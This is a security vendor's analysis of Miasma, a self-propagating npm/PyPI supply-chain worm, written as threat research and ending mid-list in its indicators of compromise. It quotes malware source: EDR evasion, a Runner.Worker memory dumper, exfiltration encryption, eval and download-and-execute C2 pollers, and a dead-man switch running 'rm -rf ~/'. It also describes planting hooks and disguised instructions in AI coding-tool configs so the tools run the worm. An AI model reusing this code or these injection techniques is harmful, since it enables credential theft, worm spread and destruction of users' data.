BACK

Real World Attacks

Miasma: Anatomy of an Open-Source Supply-Chain Worm

Valentino Duval

8 Jun 2026

Real World Attacks

Miasma: Anatomy of an Open-Source Supply-Chain Worm

Valentino Duval

8 Jun 2026

Real World Attacks

Miasma: Anatomy of an Open-Source Supply-Chain Worm

Valentino Duval

8 Jun 2026

No headings found in content selector: .toc-content

Ossprey Security obtained and analyzed the complete source release of Miasma, a self-propagating multi-ecosystem credential-stealing worm published under the npm package name voicefromtheouterworld. The README self-attributes it to TeamPCP, but we have no independent evidence confirming that group authored or published it. We examined every source file in the release and corroborated our findings against contemporaneous incident reporting covering Red Hat's @redhat-cloud-services npm compromise, the Microsoft Azure GitHub organization takedown, and prior TanStack/Mistral AI campaign waves.

Miasma requires only a single GitHub PAT to operate. Given one token, it harvests credentials from the local filesystem, cloud provider APIs, process memory, and password managers; encrypts and exfiltrates everything; and propagates across every connected ecosystem: npm, PyPI, RubyGems, GitHub repos and Actions, SSH hosts, AWS EC2 via SSM, and JFrog Artifactory. It targets 13 AI coding tools - including Claude Code, Gemini CLI, and Cursor - injecting persistent execution hooks that fire whenever a developer opens a project or starts a session. It requires no dedicated infrastructure of its own: stolen PATs and GitHub's own commit search are sufficient for both exfiltration and command and control.

Open-source release caveat: The primary C2 transport (DomainSender, which POSTs to api.anthropic.com/v1/api) is explicitly commented out of the open-source release per the README: "Domain sending (DomainSender) is currently stripped from the sender chain in the open-source release. It can be easily added back - the code lives in src/sender/domain/." In the shipped OSS build, GitHub public repository commits are the only active exfiltration path. The configuration, code, and design intent for the api.anthropic.com C2 are fully present; only the sender chain hook is commented out. Operator/private builds are expected to have it re-enabled.

Who is Behind This?

The README bundled with this release credits 'TeamPCP' by name, but self-attribution in a public release is not reliable evidence of authorship - it could reflect a copycat actor claiming affiliation or deliberate misdirection. External vendor reporting from ReversingLabs, Wiz, Unit 42, and Tenable tracks the TeamPCP cluster under aliases including Replicating Marauder, TGR-CRI-1135, UNC6780, DeadCatx3, PCPcat, ShellForce, and CipherForce. We have tracked this cluster's earlier campaigns in depth, including the Trivy supply chain attack and the complete 83-day TeamPCP campaign timeline. The technical tradecraft - per-build self-extracting payloads, multi-ecosystem token abuse, and commit-based C2 - overlaps with previously documented Mini Shai-Hulud samples associated with that cluster, but code overlap alone does not confirm authorship. Our working assessment is that this worm was written by a group inspired by TeamPCP's methodology rather than TeamPCP itself. Attribution should not be confirmed without C2 infrastructure correlation or additional forensic evidence.

Technical Breakdown

Stage 0: Preflight and Anti-Analysis

We found a comprehensive preflight sequence in src/orchestrator/preflight.ts, src/utils/checkSandbox.ts, and src/utils/config.ts that runs before any credential collection begins.

Decoy detection checks multiple environment variables for known sandbox signatures and exits silently on a match: GITHUB_TOKEN starting with ghp_decoyGitHubToken, NPM_TOKEN starting with npm_F4k3NPMToken, ANTHROPIC_API_KEY starting with sk-ant-api03-fake, AWS_ACCESS_KEY_ID starting with AKIAFAKE, and GITHUB_REPOSITORY equal to actions-security-demo/compromised-packages. Additional exits trigger if the CWD starts with /tmp/npm-safe/ or /opt/hscan-supplychain-dynamic, if the hostname contains sandbox, or if ~/.aws/credentials contains known AWS documentation example keys. A Russian locale exit checks Intl.DateTimeFormat().resolvedOptions().locale, LC_ALL, LC_MESSAGES, LANGUAGE, and LANG, exiting immediately if any starts with ru.

EDR detection runs ps aux or tasklist against 17 process names and checks 4 installation paths. Covered products include CrowdStrike Falcon (falcon-sensor, falcond, csfalcon), SentinelOne, Microsoft Defender for Endpoint (mdatp, wdavdaemon), Carbon Black, Cylance, Trend Micro, Tanium, and osquery.

When not running inside CI, the worm forks as a background daemon and exits the parent - it detects 30+ CI systems including GitHub Actions, GitLab CI, CircleCI, Jenkins, Azure Pipelines, Buildkite, Vercel, and Cloudflare Pages. It then writes a PID lock file and exits if another instance is already running. SIGINT and SIGTERM handlers are replaced with no-ops, making the process immune to standard termination signals.

An undocumented OIDC fast-path (checkTargetRepo()) - not present in ARCHITECTURE.MD - checks whether the worm is running inside a GitHub Actions workflow where WORKFLOW_ID and REPO_ID_SUFFIX env vars match an expected pattern. If so, it immediately executes NPMOidcClient to publish trojanized packages using the runner's OIDC token and exits, bypassing the rest of the kill chain. This allows the worm to self-trigger directly inside OIDC-capable npm-publish runners.

The StepSecurity Harden-Runner bypass is layered across three paths: if the Docker socket is accessible, it kills any container whose name or image contains harden-runner, step-security, or stepsecurity. If passwordless sudo is available, it overwrites /etc/resolv.conf with public DNS servers or appends 127.0.0.1 stepsecurity.io (and related domains) to /etc/hosts. If no direct sudo but Docker socket access exists, it spawns a privileged Alpine container bind-mounted at /etc/sudoers.d/ to grant the runner passwordless sudo, then uses that sudo for the DNS operations.

// src/utils/config.ts - EDR process and path detection
const EDR_PROCESSES = [
  "falcon-sensor", "falcond", "csfalcon", "sentinelone", "sentinelagent",
  "mdatp", "wdavdaemon", "cbagent", "cbdaemon", "cylance", "crowdstrike",
  "trendmicro", "ds_agent", "xagt", "osquery", "tanium", "qualys",
];
const EDR_PATHS = [
  "/opt/CrowdStrike", "/Library/CS/falcon", "/opt/carbonblack",
  "/opt/sentinelone", "C:\\Program Files\\CrowdStrike",
];
export function hasHostileEDR(): boolean {
  try {
    for (const path of EDR_PATHS) { if (existsSync(path)) return true; }
    const cmd = process.platform === "win32"
      ? "tasklist 2>/dev/null" : "ps aux 2>/dev/null";
    const output = execSync(cmd, { encoding: "utf-8", stdio: ["ignore","pipe","ignore"] });
    const lowered = output.toLowerCase();
    for (const proc of EDR_PROCESSES) { if (lowered.includes(proc)) return true; }
  } catch { /* silent */ }
  return false;
}

// src/utils/checkSandbox.ts - StepSecurity Harden-Runner kill via Docker socket
export async function killViaDockerSocket(): Promise<boolean> {
  const listResp = await rawDockerHTTP("GET", "/containers/json?all=true");
  const target = containers.find((c: any) => {
    const names = (c.Names || []).join(" ").toLowerCase();
    return HARDEN_RUNNER_INDICATORS.some((p) => names.includes(p));
  });
  if (!target) return false;
  const killResp = await rawDockerHTTP("POST", `/containers/${target.Id}/kill`);
  return killResp !== null && killResp.status === 204;
}
// src/utils/config.ts - EDR process and path detection
const EDR_PROCESSES = [
  "falcon-sensor", "falcond", "csfalcon", "sentinelone", "sentinelagent",
  "mdatp", "wdavdaemon", "cbagent", "cbdaemon", "cylance", "crowdstrike",
  "trendmicro", "ds_agent", "xagt", "osquery", "tanium", "qualys",
];
const EDR_PATHS = [
  "/opt/CrowdStrike", "/Library/CS/falcon", "/opt/carbonblack",
  "/opt/sentinelone", "C:\\Program Files\\CrowdStrike",
];
export function hasHostileEDR(): boolean {
  try {
    for (const path of EDR_PATHS) { if (existsSync(path)) return true; }
    const cmd = process.platform === "win32"
      ? "tasklist 2>/dev/null" : "ps aux 2>/dev/null";
    const output = execSync(cmd, { encoding: "utf-8", stdio: ["ignore","pipe","ignore"] });
    const lowered = output.toLowerCase();
    for (const proc of EDR_PROCESSES) { if (lowered.includes(proc)) return true; }
  } catch { /* silent */ }
  return false;
}

// src/utils/checkSandbox.ts - StepSecurity Harden-Runner kill via Docker socket
export async function killViaDockerSocket(): Promise<boolean> {
  const listResp = await rawDockerHTTP("GET", "/containers/json?all=true");
  const target = containers.find((c: any) => {
    const names = (c.Names || []).join(" ").toLowerCase();
    return HARDEN_RUNNER_INDICATORS.some((p) => names.includes(p));
  });
  if (!target) return false;
  const killResp = await rawDockerHTTP("POST", `/containers/${target.Id}/kill`);
  return killResp !== null && killResp.status === 204;
}
// src/utils/config.ts - EDR process and path detection
const EDR_PROCESSES = [
  "falcon-sensor", "falcond", "csfalcon", "sentinelone", "sentinelagent",
  "mdatp", "wdavdaemon", "cbagent", "cbdaemon", "cylance", "crowdstrike",
  "trendmicro", "ds_agent", "xagt", "osquery", "tanium", "qualys",
];
const EDR_PATHS = [
  "/opt/CrowdStrike", "/Library/CS/falcon", "/opt/carbonblack",
  "/opt/sentinelone", "C:\\Program Files\\CrowdStrike",
];
export function hasHostileEDR(): boolean {
  try {
    for (const path of EDR_PATHS) { if (existsSync(path)) return true; }
    const cmd = process.platform === "win32"
      ? "tasklist 2>/dev/null" : "ps aux 2>/dev/null";
    const output = execSync(cmd, { encoding: "utf-8", stdio: ["ignore","pipe","ignore"] });
    const lowered = output.toLowerCase();
    for (const proc of EDR_PROCESSES) { if (lowered.includes(proc)) return true; }
  } catch { /* silent */ }
  return false;
}

// src/utils/checkSandbox.ts - StepSecurity Harden-Runner kill via Docker socket
export async function killViaDockerSocket(): Promise<boolean> {
  const listResp = await rawDockerHTTP("GET", "/containers/json?all=true");
  const target = containers.find((c: any) => {
    const names = (c.Names || []).join(" ").toLowerCase();
    return HARDEN_RUNNER_INDICATORS.some((p) => names.includes(p));
  });
  if (!target) return false;
  const killResp = await rawDockerHTTP("POST", `/containers/${target.Id}/kill`);
  return killResp !== null && killResp.status === 204;
}

Stage 1: Quick Harvest and Inline C2 Check-In

We found three credential providers running synchronously before the exfiltration sender chain is built, so stolen tokens can immediately seed the transport layer.

FileSystemService glob-scans 100+ hardcoded hotspot paths. Beyond cloud credentials and SSH keys, notable targets include Claude AI configuration files (~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json), shell history for bash, zsh, Python, MySQL, and PostgreSQL, Signal configuration, Slack cookies, Telegram Desktop data, Windows VPN configurations (NordVPN, ProtonVPN, CyberGhost, PIA, Windscribe, OpenVPN), and Monero wallet files. Binary files are base64-encoded before exfiltration; files over 10 MB are skipped. The provider is entirely skipped if hostile EDR is detected.

ShellService runs gh auth token to extract any GitHub CLI credential, captures the full process.env block - which in CI environments frequently contains injected tokens that never appear as files - and records hostname and username.

GitHubRunner reads /proc/<pid>/maps and /proc/<pid>/mem of any Runner.Worker process when running inside GitHub Actions, extracting secrets injected into runner memory that never touch disk or environment variables. An equivalent PowerShell-based dump runs on Windows Actions runners.

After the GitHub sender is initialized, an undocumented C2 check-in runs inline (src/c2/checkin.ts - not mentioned in ARCHITECTURE.MD). It searches GitHub commits for TheBeautifulSandsOfTime, verifies each matching commit's RSA-PSS-SHA256 signature against the embedded verify_key, and eval()s the decoded payload as JavaScript. This gives the operator arbitrary code execution on any victim that runs the worm after the signed commit is posted, with no file written to disk. This is distinct from the persistent GITHUB_MONITOR.py background process - that executes Python; this check-in executes JavaScript inline during the worm's main flow.

# src/assets/DUMP_LINUX.py - /proc memory dump of Runner.Worker
import sys, os, re
pid = __PID__
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
    for line in map_f.readlines():
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
        if m and m.group(3) == 'r':
            start = int(m.group(1), 16)
            end   = int(m.group(2), 16)
            if start > sys.maxsize:
                continue
            mem_f.seek(start)
            try:
                chunk = mem_f.read(end - start)
                sys.stdout.buffer.write(chunk)
            except OSError:
                continue
# src/assets/DUMP_LINUX.py - /proc memory dump of Runner.Worker
import sys, os, re
pid = __PID__
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
    for line in map_f.readlines():
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
        if m and m.group(3) == 'r':
            start = int(m.group(1), 16)
            end   = int(m.group(2), 16)
            if start > sys.maxsize:
                continue
            mem_f.seek(start)
            try:
                chunk = mem_f.read(end - start)
                sys.stdout.buffer.write(chunk)
            except OSError:
                continue
# src/assets/DUMP_LINUX.py - /proc memory dump of Runner.Worker
import sys, os, re
pid = __PID__
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
    for line in map_f.readlines():
        m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
        if m and m.group(3) == 'r':
            start = int(m.group(1), 16)
            end   = int(m.group(2), 16)
            if start > sys.maxsize:
                continue
            mem_f.seek(start)
            try:
                chunk = mem_f.read(end - start)
                sys.stdout.buffer.write(chunk)
            except OSError:
                continue

Stage 2: Exfiltration and C2

We traced all collected credential bundles through a single encryption pipeline in src/sender/base.ts: JSON-serialized results are gzip-compressed, encrypted with AES-256-GCM using a fresh random 32-byte key and 12-byte IV per envelope, and the AES key is wrapped with RSA-OAEP-SHA256 against the operator's 4096-bit enc_key.pub. The operator decrypts with the matching private key via scripts/decrypt.ts. Payloads over 30 MB are split into chunks with 5 retries and exponential backoff.

The sender chain attempts transports in priority order. The primary transport is DomainSender, which POSTs to https://api.anthropic.com/v1/api. The path /v1/api does not exist on the real Anthropic API; real API calls go to /v1/messages, /v1/complete, and similar paths. In CI/CD environments that allowlist AI API endpoints, this traffic would be indistinguishable from a legitimate API call at the network layer. This transport is stripped from the open-source release - the sender chain hook in src/orchestrator/senders.ts is commented out. Operator builds re-enable it trivially.

The fallback GitHubSender searches GitHub for commits containing AES-256-CBC-encrypted PATs disguised as fine-grained PAT strings (github_pat_11A + 92 additional characters) alongside the search string DontRevokeOrItGoesBoom. These are decrypted with the hardcoded TOKEN_AES_KEY, validated, and used to create public exfiltration repositories with Greek underworld-themed names using a fixed wordlist (stygian, tartarean, erebean, infernal, chthonic, acheronian, lethean, plutonian, abyssal, charonian, thanatic, funereal, nekyian, sepulchral, tenebrous, cimmerian combined with cerberus, charon, tartarus, erebus, asphodel, acheron, styx, lethe, cocytus, phlegethon, shade, eidolon, wraith, thanatos, hecate, persephone). Every created repo has the description "Hades * The End for the Damned". Encrypted blobs are committed to a results/ directory. This is the only active exfiltration path in the open-source build.

If the primary C2 domain fails its health check, the worm searches GitHub commits for messages matching firedalazer <url_base64>.<signature_base64>, verifies the signature against verify_key.pub with RSA-PSS-SHA256, and uses the decoded URL as the new C2 endpoint - allowing the operator to rotate C2 infrastructure without touching deployed binaries.

// src/sender/base.ts - RSA+AES hybrid encryption pipeline
async createEnvelope(results: ProviderResult[]): Promise<EncryptedPackage> {
  const jsonString  = JSON.stringify(results);
  const compressed  = await gzip(Buffer.from(jsonString));
  const aesKey      = crypto.randomBytes(32);
  const iv          = crypto.randomBytes(12);
  const encryptedKey = crypto.publicEncrypt(
    { key: enc_key, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: "sha256" },
    aesKey,
  );
  const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
  const encryptedData = Buffer.concat([cipher.update(compressed), cipher.final(), cipher.getAuthTag()]);
  return { envelope: Buffer.concat([iv, encryptedData]).toString("base64"), key: encryptedKey.toString("base64") };
}

// src/c2/checkin.ts - undocumented inline JavaScript eval (absent from ARCHITECTURE.MD)
const result = await findValidSignedCommit(C2_SEARCH_STRING, verify_key);
if (result.found && result.message) {
  eval(result.message);  // operator-signed JavaScript, executed in-process, no file on disk
}
// src/sender/base.ts - RSA+AES hybrid encryption pipeline
async createEnvelope(results: ProviderResult[]): Promise<EncryptedPackage> {
  const jsonString  = JSON.stringify(results);
  const compressed  = await gzip(Buffer.from(jsonString));
  const aesKey      = crypto.randomBytes(32);
  const iv          = crypto.randomBytes(12);
  const encryptedKey = crypto.publicEncrypt(
    { key: enc_key, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: "sha256" },
    aesKey,
  );
  const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
  const encryptedData = Buffer.concat([cipher.update(compressed), cipher.final(), cipher.getAuthTag()]);
  return { envelope: Buffer.concat([iv, encryptedData]).toString("base64"), key: encryptedKey.toString("base64") };
}

// src/c2/checkin.ts - undocumented inline JavaScript eval (absent from ARCHITECTURE.MD)
const result = await findValidSignedCommit(C2_SEARCH_STRING, verify_key);
if (result.found && result.message) {
  eval(result.message);  // operator-signed JavaScript, executed in-process, no file on disk
}
// src/sender/base.ts - RSA+AES hybrid encryption pipeline
async createEnvelope(results: ProviderResult[]): Promise<EncryptedPackage> {
  const jsonString  = JSON.stringify(results);
  const compressed  = await gzip(Buffer.from(jsonString));
  const aesKey      = crypto.randomBytes(32);
  const iv          = crypto.randomBytes(12);
  const encryptedKey = crypto.publicEncrypt(
    { key: enc_key, padding: crypto.constants.RSA_PKCS1_OAEP_PADDING, oaepHash: "sha256" },
    aesKey,
  );
  const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
  const encryptedData = Buffer.concat([cipher.update(compressed), cipher.final(), cipher.getAuthTag()]);
  return { envelope: Buffer.concat([iv, encryptedData]).toString("base64"), key: encryptedKey.toString("base64") };
}

// src/c2/checkin.ts - undocumented inline JavaScript eval (absent from ARCHITECTURE.MD)
const result = await findValidSignedCommit(C2_SEARCH_STRING, verify_key);
if (result.found && result.message) {
  eval(result.message);  // operator-signed JavaScript, executed in-process, no file on disk
}

Stage 3: Deep Harvest

We found credential collection running through parallel cloud provider tracks simultaneously. All providers run via Promise.allSettled; token validation triggers immediate side-effects - npm and RubyGems trojanization starts synchronously as soon as a valid token is found, before the propagation phase. Package backdooring occurs even if the worm is interrupted mid-run.

AWS providers enumerate all SSM Parameters (with decryption) and all Secrets Manager secrets across 17 regions. Kubernetes secrets are collected across all namespaces via in-cluster service account or kubeconfig. HashiCorp Vault KV v1/v2 secrets are collected via env token, file, Kubernetes service account, or AWS IAM auth. Password managers are targeted via CLI: 1Password (op), Bitwarden (bw), pass, and gopass.

The Azure Key Vault and GCP Secret Manager providers are present in the source but the authors' own ARCHITECTURE.MD marks them as broken - they have never successfully exfiltrated live data from either platform. The code executes and attempts collection; defenders should not assume these providers are non-functional against all targets, but the authors themselves have not confirmed live success.

For each GitHub PAT with workflow scope, GitHubActionsService commits a malicious workflow named "Run Copilot" to a temporary branch that dumps all repo-level secrets as an artifact named format-results via ${{ toJSON(secrets) }}, downloads the artifact, exfiltrates the contents, and deletes the workflow.

# src/assets/DUMP_LINUX.py - Runner.Worker memory extraction (see Stage 1 for full code)

# src/assets/GITHUB_MONITOR.py - persistent hourly C2 command poll
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
STATE_FILE      = "/var/tmp/.gh_update_state"

def _download_and_execute(self, url: str) -> bool:
    response = requests.get(url, timeout=60, allow_redirects=True)
    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
        f.write(response.text)
        temp_path = f.name
    subprocess.run(["python3", temp_path], capture_output=True, timeout=300)
    Path(temp_path).unlink()
    return True
# src/assets/DUMP_LINUX.py - Runner.Worker memory extraction (see Stage 1 for full code)

# src/assets/GITHUB_MONITOR.py - persistent hourly C2 command poll
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
STATE_FILE      = "/var/tmp/.gh_update_state"

def _download_and_execute(self, url: str) -> bool:
    response = requests.get(url, timeout=60, allow_redirects=True)
    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
        f.write(response.text)
        temp_path = f.name
    subprocess.run(["python3", temp_path], capture_output=True, timeout=300)
    Path(temp_path).unlink()
    return True
# src/assets/DUMP_LINUX.py - Runner.Worker memory extraction (see Stage 1 for full code)

# src/assets/GITHUB_MONITOR.py - persistent hourly C2 command poll
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
STATE_FILE      = "/var/tmp/.gh_update_state"

def _download_and_execute(self, url: str) -> bool:
    response = requests.get(url, timeout=60, allow_redirects=True)
    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
        f.write(response.text)
        temp_path = f.name
    subprocess.run(["python3", temp_path], capture_output=True, timeout=300)
    Path(temp_path).unlink()
    return True

Stage 4: Multi-Ecosystem Propagation

We counted up to fourteen parallel mutators running with credentials in hand, several of which are undocumented in the authors' own ARCHITECTURE.MD.

GitHub branch poisoning (ReadmeUpdater) pushes malicious files to every feature branch in the current repository via GitHub's GraphQL createCommitOnBranch mutation. Commit camouflage copies the last real commit message from each target branch. Files injected: .vscode/tasks.json (VSCode folderOpen task running node .vscode/setup.mjs), .claude/settings.json (Claude Code SessionStart hook), .claude/index.js (self-extracting worm payload), and .claude/setup.mjs (Bun bootstrapper). The .claude/settings.json merges with any existing settings found on the default branch, preserving existing hooks.

GitHub Actions tag hijacking (ActionMutator) enumerates all writable repos containing custom Actions (action.yml or action.yaml), finds all semver tags (v1, v2.x.x, etc.), and force-pushes orphan commits (no parent) to every tag. Any downstream workflow using your-org/your-action@v1 now executes the worm. The wrapper carefully delegates to the original action's HEAD OID after running the payload, delaying victim detection. Three hijacking strategies cover JavaScript actions (wrapped with a pre-execution index.js step), composite actions (setup-bun step injected), and Docker actions (wrapper that runs the worm before the original image).

Repository mutation (RepositoryMutator) targets branches with open pull requests only - not all branches - across up to 500 writable repositories. Non-owned public repos require at least 10 stars and push permission; enterprise-managed users are skipped entirely. Five files are injected per branch, with commit message chore: update dependencies and the Git trailer skip-checks:true:

File

Purpose

.github/setup.js

Primary JS_LOADER bootstrapper

.claude/settings.json

Claude Code SessionStart hook

.gemini/settings.json

Gemini CLI hook - same SessionStart format as Claude Code

.cursor/rules/setup.mdc

Cursor rules injection (model-instruction format, not JSON hook)

.vscode/tasks.json

VSCode folderOpen task

RepositoryMutator also injects worm execution into build files on each branch: package.json (scripts.test), Makefile, composer.json, tox.ini, Dockerfile, CMakeLists.txt, and shell scripts. When the token has admin scope, branch protection is permanently deleted via the GitHub API before committing directly to the default branch. It is not restored.

npm --ignore-scripts bypass (orphanDep.ts) - undocumented in ARCHITECTURE.MD - adds a .npmrc file with git=node and an optionalDependencies entry pointing to github:axios/axios#main. When npm resolves the github: dependency, it reads .npmrc and calls node clone.js instead of git clone. The --ignore-scripts flag suppresses lifecycle hooks but not the custom git resolver invocation, making this a complete bypass of the most widely-recommended safe-install mitigation. The github:axios/axios#main reference is chosen specifically because it is a real, large, legitimate package - the install appears entirely plausible.

PyPI typo-squatting (TypoMutator) - also undocumented in ARCHITECTURE.MD - activates with TYPO_MODE=1 and generates typo names by appending -mcp and -mpc suffixes to target package names. The source comment states explicitly: "PyPI blocks direct typos but allows -mcp suffix packages." This deliberately exploits PyPI's failure to block requests-mcp as a typosquat of requests. The -mcp (Model Context Protocol) suffix has become a common legitimate naming convention, making these packages appear credible.

OIDC branch injection with legitimate sigstore provenance (NpmOidcBranchMutator) targets npm packages published via GitHub Actions OIDC Trusted Publishing. It creates a branch snapshot-<hex>, injects a workflow named "Dependabot Updates" that mints an OIDC token and publishes a trojanized package, and - if an admin token is available - permanently deletes the OIDC environment protection rules (required_reviewers, deployment_branch_policy) from the Development environment without restoring them. Critically, the published package receives genuine, verifiable sigstore provenance: the worm requests a real OIDC token from GitHub Actions, gets a real signing certificate from Fulcio (fulcio.sigstore.dev), and submits a real inclusion proof to Rekor (rekor.sigstore.dev). The resulting package will pass npm audit signatures and any sigstore-based provenance check. The provenance correctly references the victim repository and workflow because the OIDC token genuinely identifies them. Standard provenance verification is not a detection signal for this attack path.

AI tool hook injection (Claude mutator) scans the home directory for config files belonging to 13 AI coding tools: Claude Code, Codex, Gemini CLI, Copilot, Kiro, OpenCode, Cline, Aider, Tabby, Amazon Q, Cody, Bolt, and Continue. For JSON configs it injects a SessionStart hook running the worm on every session start. For .cursorrules, .windsurfrules, and .cursor/rules/*.mdc files it injects natural-language instructions designed to look like legitimate model instructions rather than tool hooks - exploiting the model's instruction-following to trigger execution, bypassing hook-based security controls that inspect only the hooks key in JSON configs. The worm payload is copied to ~/.config/index.js.

// src/mutator/action/actionMutator.ts - semver tag hijacking (excerpt)
const indexJsRaw = await Bun.file(Bun.main).text();
const indexJs    = buildSelfExtractingPayload(indexJsRaw, { wrap: false });
for (const repo of repos) { await this.processRepo(repo, indexJs); }

// src/mutator/pypi/index.ts - .pth wheel injection
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
const patched    = await patchWheel(wheelData, pkgName, meta.version,
  bumpPatch(meta.version), pthContent, jsPayload);
if (patched) { await uploadWheel(patched.data, patched.filename, this.token); }

// src/mutator/typo/typoGen.ts - undocumented MCP suffix typosquatting
// "PyPI blocks direct typos but allows -mcp suffix packages."
const typoNames = [targetPackage + "-mcp", targetPackage + "-mpc"];
for (const name of typoNames) {
  if (!await existsOnPypi(name)) { await publishTypo(name, patchedWheel); break; }
}
// src/mutator/action/actionMutator.ts - semver tag hijacking (excerpt)
const indexJsRaw = await Bun.file(Bun.main).text();
const indexJs    = buildSelfExtractingPayload(indexJsRaw, { wrap: false });
for (const repo of repos) { await this.processRepo(repo, indexJs); }

// src/mutator/pypi/index.ts - .pth wheel injection
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
const patched    = await patchWheel(wheelData, pkgName, meta.version,
  bumpPatch(meta.version), pthContent, jsPayload);
if (patched) { await uploadWheel(patched.data, patched.filename, this.token); }

// src/mutator/typo/typoGen.ts - undocumented MCP suffix typosquatting
// "PyPI blocks direct typos but allows -mcp suffix packages."
const typoNames = [targetPackage + "-mcp", targetPackage + "-mpc"];
for (const name of typoNames) {
  if (!await existsOnPypi(name)) { await publishTypo(name, patchedWheel); break; }
}
// src/mutator/action/actionMutator.ts - semver tag hijacking (excerpt)
const indexJsRaw = await Bun.file(Bun.main).text();
const indexJs    = buildSelfExtractingPayload(indexJsRaw, { wrap: false });
for (const repo of repos) { await this.processRepo(repo, indexJs); }

// src/mutator/pypi/index.ts - .pth wheel injection
const pthContent = (INJECT_PTH as string) || "import os; os.system('id')";
const patched    = await patchWheel(wheelData, pkgName, meta.version,
  bumpPatch(meta.version), pthContent, jsPayload);
if (patched) { await uploadWheel(patched.data, patched.filename, this.token); }

// src/mutator/typo/typoGen.ts - undocumented MCP suffix typosquatting
// "PyPI blocks direct typos but allows -mcp suffix packages."
const typoNames = [targetPackage + "-mcp", targetPackage + "-mpc"];
for (const name of typoNames) {
  if (!await existsOnPypi(name)) { await publishTypo(name, patchedWheel); break; }
}

Stage 5: Persistence and Dead-Man Switch

We identified two persistence mechanisms operating independently, installed as separate services.

InstallMonitor in src/mutator/persist/install-monitor.ts writes GITHUB_MONITOR.py to ~/.local/share/updater/update.py and installs it as a systemd user service (update-monitor) on Linux or as a LaunchAgent (com.user.update-monitor) on macOS, calling loginctl enable-linger to survive user logout. Installation skips systems with fewer than 4 CPU cores to avoid sandbox detection. The monitor polls GitHub commit search hourly for messages matching firedalazer <url_b64>.<sig_b64>, verifies each RSA-PSS-SHA256 signature against an embedded 4096-bit public key, and executes the downloaded URL as arbitrary Python code. State is tracked in /var/tmp/.gh_update_state.

The dead-man switch (DEADMAN_SWITCH.sh) installs as a separate service under the name gh-token-monitor. It polls api.github.com/user every 60 seconds using the stolen token. When the token returns a 4xx response, it executes rm -rf ~/; rm -rf ~/Documents and exits after a 72-hour TTL. Revoking a stolen PAT without first stopping the gh-token-monitor service will trigger data destruction on the victim host.

The operator reinfection loop (create_payload_repo.py) creates a private GitHub repo, encrypts the worm bundle, pushes an Actions workflow that decrypts and executes it, stores stolen PATs as Actions secrets (PATS, PASSPHRASE), dispatches the workflow, and deletes the secrets 15 seconds later to cover tracks. An orphan-commit.py utility delivers payloads via unreferenced commits: creates a tag pointing to the payload commit, returns the raw file URL, immediately deletes the tag - the commit remains reachable by SHA in GitHub's object store but is invisible in normal repository browsing.

# src/assets/GITHUB_MONITOR.py - persistent C2 poll loop
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
STATE_FILE      = "/var/tmp/.gh_update_state"

def _download_and_execute(self, url: str) -> bool:
    response = requests.get(url, timeout=60, allow_redirects=True)
    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
        f.write(response.text); temp_path = f.name
    subprocess.run(["python3", temp_path], capture_output=True, timeout=300)
    Path(temp_path).unlink(); return True

# src/mutator/poller/monitor.ts - dead-man switch installed by GitHubSender
const persistence = new Monitor(this.token, scramble("rm -rf ~/; rm -rf ~/Documents"));
await persistence.execute();
# src/assets/GITHUB_MONITOR.py - persistent C2 poll loop
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
STATE_FILE      = "/var/tmp/.gh_update_state"

def _download_and_execute(self, url: str) -> bool:
    response = requests.get(url, timeout=60, allow_redirects=True)
    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
        f.write(response.text); temp_path = f.name
    subprocess.run(["python3", temp_path], capture_output=True, timeout=300)
    Path(temp_path).unlink(); return True

# src/mutator/poller/monitor.ts - dead-man switch installed by GitHubSender
const persistence = new Monitor(this.token, scramble("rm -rf ~/; rm -rf ~/Documents"));
await persistence.execute();
# src/assets/GITHUB_MONITOR.py - persistent C2 poll loop
COMMAND_PATTERN = r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)"
STATE_FILE      = "/var/tmp/.gh_update_state"

def _download_and_execute(self, url: str) -> bool:
    response = requests.get(url, timeout=60, allow_redirects=True)
    with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
        f.write(response.text); temp_path = f.name
    subprocess.run(["python3", temp_path], capture_output=True, timeout=300)
    Path(temp_path).unlink(); return True

# src/mutator/poller/monitor.ts - dead-man switch installed by GitHubSender
const persistence = new Monitor(this.token, scramble("rm -rf ~/; rm -rf ~/Documents"));
await persistence.execute();

Indicators of Compromise

Network

Primary C2 (operator builds only - stripped from OSS release):

  • https://api.anthropic.com/v1/api - C2 endpoint; POST requests carry encrypted exfil blobs, not the JSON model/messages payload of legitimate Claude API calls. No x-api-key or anthropic-version headers.

C2 and PAT discovery strings (active in OSS build):

